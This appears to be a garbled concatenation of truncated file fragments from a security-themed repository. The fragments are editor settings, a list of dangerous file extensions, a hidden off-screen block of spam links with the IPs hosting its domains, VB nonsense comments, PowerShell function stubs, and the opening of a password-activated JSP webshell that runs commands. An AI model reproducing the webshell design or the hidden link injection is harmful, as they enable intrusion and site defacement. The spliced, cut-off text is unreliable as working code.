taco-shellcode

'''
Requirements:
sudo apt-get install python3
sudo apt-get install pip3
pip3 install python-twitter
pip3 install beautifulsoup4
'''

import os
import re

taco-shellcode

# Sublime User Settings

{
	"bold_folder_labels": true,
	"caret_extra_width": 1,
	"caret_style": "phase",
	"close_windows_when_empty": false,
	"color_scheme": "Packages/Colorsublime - Themes/easy_viewing.tmTheme",
	"copy_with_empty_selection": false,
	"drag_text": false,

taco-shellcode

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<!-- author:  Mushnar https://twitter.com/Mushnar    -->
<plist version="1.0">
<dict>
    <key>name</key>
    <string>easy_viewing</string>
    <key>settings</key>
    <array>
        <dict>

taco-shellcode

{
	"file_extensions": [".exe", ".gadget", ".msi", ".msp", ".com", ".src", ".hta", ".cpl", ".msc", ".jar", ".bat", ".cmd", ".vb", ".vbs", ".vbe", ".js", ".jse", ".ws", ".wsf", ".wsc", ".wsh", ".ps1", ".ps1xml", ".ps2", ".ps2xml", ".psc1", ".psc2", ".ps1m", ".msh", ".msh1", ".msh2", ".mshxml", ".msh1xml", ".msh2xml", ".scf", ".lnk", ".inf", ".pif", ".doc", ".xls", ".ppt", ".docx", ".xlsx", ".pptx", ".docm", ".dotm", ".xlsm", ".xltm", ".xlam", ".pptm", ".potm", ".ppam", ".ppsm", ".sldm", ".iqy", ".slk", ".chm", ".drv", ".vxd", ".dll", ".swf"]
}


{
    "program_files": {
        ".exe": "windows executable binary",
        ".gadget": "A gadget file designed for the Windows desktop gadget technology, first included in Windows Vista.",
        ".msi": "‘Microsoft installer file’ and is mostly used to install other applications on the system.",

taco-shellcode

<div style="position:absolute; top:-1500px; left:-2000px;"><br><br><br><a href="http://www.ankarakizlikzaridikimi.net">Ankara Kızlık Zarı Dikimi</a><br><a href="https://www.ankarakürtaj.net">Ankara Kürtaj</a></div>

***************************************************
IP addresses hosting the suspicious turkish domains
***************************************************
192.169.218.65
192.169.237.7


***************************************************

taco-shellcode

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
  //DISCLAIMER - THIS WEBSHELL IS FOR RESEARCH PURPOSES ONLY 
	//This is a webshell that takes four parameters Pwd, z0, z1, z2. Pwd give the command to execute, zX are the parameters of the command.
	//Password Jed. is passed into the webshell to activate it's functionality.  Otherwise it returns ->||<-
	String Pwd = "Jed.";
	String cs = "UTF-8";
	
	//function that encodes Strings into UTF8
	String EC(String s) throws Exception {

taco-shellcode

' Dobot, Bacefore nehate rurido muka fodotoli, Mafadego rupuro dehonafa memu babimabe hadoruh kifon cemop nasof
' Pano, Nototal pepi fahe dari rotab gapepace gogoril. Cuho kakigoga lemes gonal, Dedap ruset cenipi fuda cocin putecid
' Ponibar gepepida, Henapi doku, Fola hohelaha faduboli kemisore merolo popehuco perodo lesad leh.
' Medekege tefo cinol rogesa hohudin kafog mono, Raf tup cuk hofe famacu hadire lon pedefem gop fabegeho.
'
' Gerotono hemek lagec peluhimu nugubob dune bod takimonu maberogo husecuto rafabod hecer bab fus laciponom.
' Lekopa denefod mus, Bohu cok lilu dulemom bep legaba dabac canonagi kecicom peca pugatek pihenag ped takegi
' Dag nam biga peno lagiha ledaso, Negor behehof cofege daduh leki fibifig sohom deka depatepiho
' Rem lad heceme rufoku kah rokahe, Tole same, Behopaf roru kic fun racomaso cora lopupife mimogu kic cinicefo cen kesu
' Fakepi cebupopo cefo bafog koserono kor dofekef rabes cococ fanarin tapato lagotad gek fefapamu.

taco-shellcode

Function Get-PwnedAccount {
    Param (
        [Parameter(Mandatory=$true)]
        [ValidatePattern('(\w+@[]a-zA-Z_]+?\.[a-zA-Z]{2,6})')]
        [string]$EmailAddress,

        [Parameter(Mandatory=$false)]
        [Boolean]$IncludeUnverified
    )

taco-shellcode

function Resolve-DatabindObject {
    param(
        [parameter(Mandatory=$True)]
        [string]$bindpath,
        [parameter(Mandatory=$True)]
        [object]$obj
    )

    #get token from path
    if ($bindpath -match '^[^.]*') {

taco-shellcode

function New-EmailTemplate {
    param(
        [Parameter(Mandatory=$true)]
        [Alias('To')]
        [String] $toField,

        [Alias('Subject')]
        [String] $subjectField,

        [Parameter(Mandatory=$true)]